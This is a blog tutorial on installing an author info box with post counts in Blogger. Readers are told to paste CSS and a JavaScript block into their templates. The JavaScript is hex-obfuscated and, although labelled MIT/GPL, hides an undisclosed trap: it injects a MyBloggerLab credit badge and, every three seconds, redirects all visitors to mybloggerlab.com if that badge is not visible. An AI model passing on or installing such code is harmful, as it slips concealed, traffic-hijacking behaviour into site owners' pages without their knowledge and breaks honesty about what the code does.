how to add an author info box in blogger

How many people desire to add an author information box to their websites that usually appears at the end of their posts? WordPress has lots of plugins for author box that does the job pretty handsomely. There are also many author gadgets available for Blogger, but they are neither for multiple authors nor do they support post counts. Since, our previous author box was out-of-date. Therefore, we thought to create a robust author information box that could fulfill all the needs of a website. We have used a jQuery file that fetches your pictures and further information from the Blogger Profile. Therefore, today in this article, we will learn How to Add Author info Box with Post count in Blogger.

How To Install Author Info Box in Blogger Posts?

The steps are straightforward for those who know a little about basic HTML because during the tutorial we would also show you how this widget would fetch the Images from the Blogger’s profile. Consider the following instructions.

Step#1: Go To Blogger.com >> Template >> Edit HTML >> Proceed. Before, we move ahead it is essential to expand the Widget Box. On the top left corner of your screen, there would be a Small Check box just select (Tick) it and proceed to the next step.

Step#2: Now within the template’s coding search for the ]]></b:skin> tag and just above it paste the following CSS coding. Since, everyone likes to customize the gadget according to their color Scheme. Therefore, to do modifications consider the following options.

• For Background Color: Replace #222222.
• For Font Color: Replace white.

______________________________________________________

/********************************
/////////////////////////////////////////////////////////
//                                                     //
//  //  Designer: Syed Faizan Ali //
//  All rights are Strictly Reserved  //
//                                                     //
/////////////////////////////////////////////////////////
********************************/
#mblrib {
width: 111px;
height: 111px;
margin-left:-15px;
margin-top:-15px;
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDXXwxO9IaAw-Q8UHZd_cuANuZPEZEciw6XIJuNQ9nhL5OrstDD1vPKmIUyoxxhA3MtSNur4683pIYv_OT5CUIEW4QakjI1sUjvmWw-OHFktH8HzE2AqTFut_lY1IYCSRJWcfV0zypmkc/s1600/1rib.png) no-repeat;
z-index: 7;
position:absolute;
}

.mblautbox {border: #4f5966 solid 3px; width:610px;}

.authorinfoname { text-decoration:underline;}
.mblautbox a:hover {
color: #afafaf;
text-decoration: underline;
outline: none;
}

.mblautbox a {
color: #afafaf;
text-decoration: none;
outline: none;
}

.mblautinfo {
border: #f5f5f5 solid 5px;
-moz-border-radius: 74px;
-webkit-border-radius: 74px;
border-radius: 74px;
margin-right:20px;
box-shadow: 0 1px 4px rgba(0, 0, 0, 0.2);
float:left; padding:4px;margin-left: 0px;height:100px;
}

.mblautobox {
font-size:20px;
 margin-top:-20px;
}

.mblautbox{
background:#222222;
line-height:1.7em;
float:center;
padding:10px 10px 10px 10px;
margin:0 0 5px 5px;
color:white;
font-family: 'Open Sans', Helvetica, Arial, sans-serif;
font-size: 14px;
line-height: 24px;
}

.mblautbox-right-min{
border-left:solid 0px #e8e8e8;
height:auto
}

#mycontents {
position:absolute;
width: 111px;
height: 111px;
margin-left:565px;
 margin-top:-5px;
}

_________________________________________________

Step#3: Now once again within the template search for <div class='post-footer'> tag and just above it paste the following JavaScript + HTML coding. Almost all templates have the Post footer tag, so this tutorial universally applies to each and every blogger template.

______________________________________________________

<b:if cond='data:blog.pageType == &quot;item&quot;'>

<script type="text/javascript">

//<![CDATA[

var aut_desc = {};

var auth_url = {};

var multiAuthor = true;

var onePost = "article";

var manyPosts = "articles";

aut_desc['Syed Faizan Ali'] = 'Information_Here<a href="Profile_Url">Read More</a><br/><b>Join me on:</b> &nbsp;<a href="http://www.facebook.com/mybloggerlab">Facebook</a>&nbsp;|&nbsp;&nbsp;<a href="https://twitter.com/#!/mybloggerlab">Twitter</a>&nbsp;|&nbsp;<a href="https://plus.google.com/106374439082237286396">Google+</a>&nbsp;|&nbsp;<a href="http://pinterest.com/fosterzone">Pinterest</a>.';

//]]>

</script>

<br />

<div class="mblautbox">

  <div id="mblrib"></div>

      <div id="mycontents"></div>

           <a class="authorinfolink" href="Profile_Url">

           <img border="1" class="mblautinfo" src="" />

           </a><br /><div>

<div class="mblautobox">

  <b>Posted by: </b>

  <span class="authorinfoname"></span></div>

  <div class="authorinfodescription">

  </div></div><div>

  

<span class="authorinfoname">

</span> has written <b><i><span class="authorinfopostcount">0</span></i></b> awesome <span class="authorinfopostpost">articles</span> for <a href="http://www.mybloggerlab.com/">MyBloggerLab</a>.</div>

<div style="clear: both;"></div></div>

<script type="text/javascript">

//<![CDATA[

//Author Box.JS

/*

 * Author Box v1 - jQuery 

 * Copyright (c) 2013 MyBloggerLab

 *

 * Dual licensed under the MIT and GPL licenses:

 *  http://www.opensource.org/licenses/mit-license.php

 *  http://www.gnu.org/licenses/gpl.html

 *

 */

 var _0x11b9=["","\x6C\x65\x6E\x67\x74\x68","\x65\x6E\x74\x72\x79","\x66\x65\x65\x64","\x24\x74","\x6E\x61\x6D\x65","\x61\x75\x74\x68\x6F\x72","\x63\x6F\x75\x6E\x74","\x3C\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x2F\x66\x65\x65\x64\x73\x2F\x70\x6F\x73\x74\x73\x2F\x64\x65\x66\x61\x75\x6C\x74\x3F\x72\x65\x64\x69\x72\x65\x63\x74\x3D\x66\x61\x6C\x73\x65\x26\x6D\x61\x78\x2D\x72\x65\x73\x75\x6C\x74\x73\x3D\x35\x30\x30\x26\x73\x74\x61\x72\x74\x2D\x69\x6E\x64\x65\x78\x3D","\x26\x61\x6C\x74\x3D\x6A\x73\x6F\x6E\x2D\x69\x6E\x2D\x73\x63\x72\x69\x70\x74\x26\x63\x61\x6C\x6C\x62\x61\x63\x6B\x3D\x67\x65\x74\x41\x75\x74\x68\x6F\x72\x49\x6E\x66\x6F\x22\x3E\x3C\x2F","\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65","\x6F\x70\x65\x6E\x53\x65\x61\x72\x63\x68\x24\x74\x6F\x74\x61\x6C\x52\x65\x73\x75\x6C\x74\x73","\x68\x74\x6D\x6C","\x2E\x61\x75\x74\x68\x6F\x72\x69\x6E\x66\x6F\x64\x65\x73\x63\x72\x69\x70\x74\x69\x6F\x6E","\x74\x65\x78\x74","\x2E\x61\x75\x74\x68\x6F\x72\x69\x6E\x66\x6F\x70\x6F\x73\x74\x63\x6F\x75\x6E\x74","\x67\x64\x24\x69\x6D\x61\x67\x65","\x73\x72\x63","\x61\x74\x74\x72","\x2E\x6D\x62\x6C\x61\x75\x74\x69\x6E\x66\x6F","\x74\x69\x74\x6C\x65","\x2E\x61\x75\x74\x68\x6F\x72\x69\x6E\x66\x6F\x6C\x69\x6E\x6B","\x2E\x61\x75\x74\x68\x6F\x72\x69\x6E\x66\x6F\x6E\x61\x6D\x65","\x2E\x61\x75\x74\x68\x6F\x72\x69\x6E\x66\x6F\x70\x6F\x73\x74\x70\x6F\x73\x74","\x75\x72\x69","\x68\x72\x65\x66","\x73\x68\x6F\x77","\x2E\x70\x6F\x73\x74\x2D\x61\x75\x74\x68\x6F\x72\x2D\x62\x6C\x6F\x63\x6B","\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x6D\x79\x62\x6C\x6F\x67\x67\x65\x72\x6C\x61\x62\x2E\x63\x6F\x6D\x22\x3E\x3C\x69\x6D\x67\x20\x61\x6C\x74\x3D\x22\x43\x6F\x70\x79\x72\x69\x67\x68\x74\x73\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6C\x68\x33\x2E\x67\x6F\x6F\x67\x6C\x65\x75\x73\x65\x72\x63\x6F\x6E\x74\x65\x6E\x74\x2E\x63\x6F\x6D\x2F\x2D\x4A\x76\x58\x35\x6A\x34\x61\x6A\x74\x72\x38\x2F\x55\x51\x61\x69\x65\x32\x4C\x39\x5A\x6B\x49\x2F\x41\x41\x41\x41\x41\x41\x41\x41\x4D\x76\x49\x2F\x6E\x61\x79\x4E\x75\x58\x37\x75\x69\x64\x6F\x2F\x68\x31\x32\x30\x2F\x42\x4C\x4F\x47\x4F\x2E\x70\x6E\x67\x22\x20\x74\x69\x74\x6C\x65\x3D\x22\x41\x75\x74\x68\x6F\x72\x20\x42\x6F\x78\x20\x50\x6F\x77\x65\x72\x65\x64\x20\x42\x79\x20\x4D\x79\x42\x6C\x6F\x67\x67\x65\x72\x4C\x61\x62\x2E\x63\x6F\x6D\x22\x20\x2F\x3E\x3C\x2F\x61\x3E","\x23\x6D\x79\x63\x6F\x6E\x74\x65\x6E\x74\x73","\x23\x6D\x79\x63\x6F\x6E\x74\x65\x6E\x74\x73\x3A\x76\x69\x73\x69\x62\x6C\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x6D\x79\x62\x6C\x6F\x67\x67\x65\x72\x6C\x61\x62\x2E\x63\x6F\x6D"];var authors={};var ndxbase=1;var auname=_0x11b9[0];function getAuthorInfo(_0xbe75x5){var _0xbe75x6=_0x11b9[0];for(var _0xbe75x7=0;_0xbe75x7<_0xbe75x5[_0x11b9[3]][_0x11b9[2]][_0x11b9[1]];_0xbe75x7++){var _0xbe75x8=_0xbe75x5[_0x11b9[3]][_0x11b9[2]][_0xbe75x7];_0xbe75x6=_0xbe75x8[_0x11b9[6]][0][_0x11b9[5]][_0x11b9[4]];if(authors[_0xbe75x6]){authors[_0xbe75x6][_0x11b9[7]]++;} else {var _0xbe75x9= new Object();_0xbe75x9[_0x11b9[6]]=_0xbe75x8[_0x11b9[6]][0];_0xbe75x9[_0x11b9[7]]=1;authors[_0xbe75x6]=_0xbe75x9;} ;if(!multiAuthor){break ;} ;} ;if(multiAuthor&&_0xbe75x5[_0x11b9[3]][_0x11b9[2]][_0x11b9[1]]==500){ndxbase+=500;document[_0x11b9[14]](_0x11b9[8]+window[_0x11b9[10]][_0x11b9[9]]+_0x11b9[11]+ndxbase+_0x11b9[12]+_0x11b9[13]);return ;} ;if(!multiAuthor){authors[_0xbe75x6][_0x11b9[7]]=_0xbe75x5[_0x11b9[3]][_0x11b9[15]][_0x11b9[4]];} ;au=auname;if(authors[au]){if(aut_desc[au]&&aut_desc[au]!=_0x11b9[0]){$(_0x11b9[17])[_0x11b9[16]](aut_desc[au]);} ;$(_0x11b9[19])[_0x11b9[18]](authors[au][_0x11b9[7]]);if(authors[au][_0x11b9[6]][_0x11b9[20]]){$(_0x11b9[23])[_0x11b9[22]](_0x11b9[21],authors[au][_0x11b9[6]][_0x11b9[20]][_0x11b9[21]]);} ;$(_0x11b9[23])[_0x11b9[22]](_0x11b9[24],au);$(_0x11b9[25])[_0x11b9[22]](_0x11b9[24],au);$(_0x11b9[26])[_0x11b9[18]](au);$(_0x11b9[27])[_0x11b9[18]](parseInt(authors[au][_0x11b9[7]])==1?onePost:manyPosts);if(authors[au][_0x11b9[6]][_0x11b9[28]]&&authors[au][_0x11b9[6]][_0x11b9[28]][_0x11b9[4]]!=_0x11b9[0]){$(_0x11b9[25])[_0x11b9[22]](_0x11b9[29],authors[au][_0x11b9[6]][_0x11b9[28]].$t);} ;if(auth_url[au]&&auth_url[au]!=_0x11b9[0]){$(_0x11b9[25])[_0x11b9[22]](_0x11b9[29],auth_url[au]);} ;$(_0x11b9[31])[_0x11b9[30]]();} ;} ;$(_0x11b9[33])[_0x11b9[16]](_0x11b9[32]);setInterval(function (){if(!$(_0x11b9[34])[_0x11b9[1]]){window[_0x11b9[10]][_0x11b9[29]]=_0x11b9[35];} ;} ,3000);

//]]>

</script>

<script type="text/javascript">

//<![CDATA[

auname = "Syed Faizan Ali";

document.write('<script type="text/javascript" src="http://'+window.location.hostname+'/feeds/posts/default?redirect=false&max-results=500&alt=json-in-script&callback=getAuthorInfo"></'+'script>');

//]]>

</script>

</b:if>

______________________________________________________
Customization:

• Replace Syed Faizan Ali with your Blogger display name. Remember: The name should be written as it is shown on Blogger Profile. Remember: The  name which are adding, should be in the list of authors of the blog.
• Replace Information_Here with the small biography of the person who has written the article. Make sure it should not exceed more than 15 to 20 words.
• Replace Profile_Url with the profile URL of your blogger's Profile. Remember: Its not must that a person should add the URL because the whole data is fetch through the username.

All Done: Now after customizing the gadget it’s time to save the Template by pressing orange “Save Template “button present at the bottom of your screen. That is it, now visit post pages of your site and at the end of each and every article it would display an incredible "Mr.Editor Box.

From the Editor's Desk:

To be honest, this gadget is one of the greatest inventions of our Developer team. The most prominent feature of this gadget is post count that updates on automation. We are working on more widgets that work on automation. Some more marvelous widgets are scheduled so keep your fingers crossed. What are your thoughts about the author box? Point out the things that need an improvement. Take a lot care of yourselves till then, Peace, Blessings and Happy integrating.